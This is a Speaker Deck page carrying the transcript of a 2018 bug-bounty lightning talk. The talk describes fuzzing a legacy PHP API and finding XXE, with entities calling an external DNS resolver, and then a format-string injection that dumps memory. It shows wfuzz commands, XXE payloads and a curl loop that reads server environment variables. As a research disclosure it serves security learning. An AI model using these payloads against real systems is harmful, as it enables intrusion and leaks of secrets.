$30 off During Our Annual Pro Sale. View Details »
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Web based format injection, dumping memory like...
Search
Frans Rosén
September 19, 2018
Research
0
180
Web based format injection, dumping memory like it's 99 (or "Please help")
My lightning talk from Sec-T Stockholm in September 2018.
Frans Rosén
September 19, 2018
Tweet
Share
More Decks by Frans Rosén
See All by Frans Rosén
X-Correlation Injections (or How to break server-side contexts)
fransrosen
0
1.8k
Story of a RCE on Apple through hot jar swapping
fransrosen
0
1.3k
Account hijacking using "dirty dancing" in sign-in OAuth-flows
fransrosen
0
340
A methodology using fuzzing and info disclosure
fransrosen
0
410
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
fransrosen
3
9.5k
A story of the passive aggressive sysadmin of AEM
fransrosen
0
8.6k
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
fransrosen
3
7.5k
Other Decks in Research
See All in Research
令和最新技術で伝統掲示板を再構築: HonoX で作る型安全なスレッドフロート型掲示板 / かろっく@calloc134 - Hono Conference 2025
calloc134
0
440
さまざまなAgent FrameworkとAIエージェントの評価
ymd65536
1
360
SNLP2025:Can Language Models Reason about Individualistic Human Values and Preferences?
yukizenimoto
0
220
言語モデルの地図：確率分布と 情報幾何による類似性の可視化
shimosan
8
2.2k
HoliTracer:Holistic Vectorization of Geographic Objects from Large-Size Remote Sensing Imagery
satai
3
320
一人称視点映像解析の最先端（MIRU2025 チュートリアル）
takumayagi
6
4.4k
視覚から身体性を持つAIへ: 巧緻な動作の3次元理解
tkhkaeio
0
110
[論文紹介] Intuitive Fine-Tuning
ryou0634
0
150
Satellites Reveal Mobility: A Commuting Origin-destination Flow Generator for Global Cities
satai
3
200
AWSで実現した大規模日本語VLM学習用データセット "MOMIJI" 構築パイプライン/buiding-momiji
studio_graph
2
1k
MIRU2025 チュートリアル講演「ロボット基盤モデルの最前線」
haraduka
15
11k
Earth AI: Unlocking Geospatial Insights with Foundation Models and Cross-Modal Reasoning
satai
2
120
Featured
See All Featured
How STYLIGHT went responsive
nonsquared
100
6k
What’s in a name? Adding method to the madness
productmarketing
PRO
24
3.8k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
162
16k
The MySQL Ecosystem @ GitHub 2015
samlambert
251
13k
The Art of Delivering Value - GDevCon NA Keynote
reverentgeek
16
1.8k
Why You Should Never Use an ORM
jnunemaker
PRO
61
9.6k
How To Stay Up To Date on Web Technology
chriscoyier
791
250k
Facilitating Awesome Meetings
lara
57
6.7k
Exploring the Power of Turbo Streams & Action Cable | RailsConf2023
kevinliebholz
37
6.2k
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
soudai
PRO
196
70k
Sharpening the Axe: The Primacy of Toolmaking
bcantrill
46
2.6k
Build your cross-platform service in a week with App Engine
jlugia
234
18k
Transcript
@fransrosen Web based format injection, dumping memory like it's 99
or "Please help"
@fransrosen Public Bug Bounty
@fransrosen RCE is 30,000 USD
@fransrosen Methodology • Found a domain not like the other
ones
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available
@fransrosen Methodology • Found a domain not like the other
ones • Legacy on-premise PHP-app acquired by a huge tech organization • Old API-endpoints still available 👍 👍 👍
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen Methodology • Google + GitHub etc • wfuzz! Interesting
path: /cgi-bin/default/
@fransrosen Methodology • Google + GitHub etc • wfuzz! python
wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \ -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/FUZZ
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen Methodology • Google + GitHub etc • wfuzz! /cgi-bin/default/php/
@fransrosen Methodology • Google + GitHub etc • wfuzz! python
wfuzz/src/wfuzz-cli.py -Z -w w.txt -c \ -H "User-Agent: Mozilla.." \ "https://www.techsite.com/cgi-bin/default/php/FUZZ
@fransrosen Methodology • Google + GitHub etc • wfuzz!
@fransrosen xml_api?
@fransrosen xml_api?
@fransrosen xml_api? YEAH! 👍
@fransrosen wtf!?
@fransrosen XXE!
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver">
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root SYSTEM "http://my-dns-resolver"> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>
<Envelope><Body><exec><transaction>&exl;</transaction> </exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>
<Envelope><Body><exec><transaction>&exl;</transaction> </exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY % exl SYSTEM "http://my-dns-resolver">%exl;
]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> ???
@fransrosen
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>
<Envelope><Body><exec><transaction></transaction></exec></Body></Envelope> WOAH.
@fransrosen Format String Injection?
@fransrosen Format String Injection ON ZE WEB?
@fransrosen Format String Injection http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf
@fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM
"%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen Format String Injection <!DOCTYPE root [ <!ENTITY exl SYSTEM
"%x %x %s" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen I can’t handle this shit
@fransrosen Help me, zetatwo
@fransrosen Help me, zetatwo
@fransrosen Help me, zetatwo
@fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY
exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen zetatwo: latin1! <?xml version="1.0" encoding="latin1"?> <!DOCTYPE root [ <!ENTITY
exl SYSTEM "åäö" ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>
@fransrosen Limitations 0x20-0xFF (no 0x22)
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen Limitations 0x09 0x0a 0x0d + 0x20-0x21 + 0x23-0xff
@fransrosen We can read all ENVs for i in $(seq
8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'
@fransrosen We can read all ENVs for i in $(seq
8460 8550); do res=$(curl -s -X POST -H 'Content-Type: text/xml; charset="UTF-8"' \—data-binary \ ’<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE x [ <!ENTITY ba SYSTEM " %'${i}'$s "> ]> <Envelope><Body><exec><transaction></transaction></exec></Body></Envelope>'
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Response "We are unable to see anything sensitive in
the response. If you believe you have found sensitive information please provide this to us."
@fransrosen Want to collaborate? @fransrosen
@fransrosen Questions? Suggestions?
fransrosen
calloc134
ymd65536
.jpg){kind=avatar}
yukizenimoto
shimosan
.png){kind=avatar}
satai
takumayagi
tkhkaeio
ryou0634
.jpg){kind=avatar}
studio_graph
.png){kind=avatar}
haraduka
nonsquared
productmarketing
sstephenson
samlambert
reverentgeek
jnunemaker
chriscoyier
lara
kevinliebholz
soudai
bcantrill
jlugia
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_27.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "http://my-dns-resolver"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_28.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_33.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxxåäö"> ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_34.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_35.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_36.jpg){kind=link}
![@fransrosen XXE! <!DOCTYPE root [ <!ENTITY exl SYSTEM "hxxp://xxx%x" ]>](https://files.speakerdeck.com/presentations/0503d982eb5c417998df22b7cb4fa2b4/slide_37.jpg){kind=link}
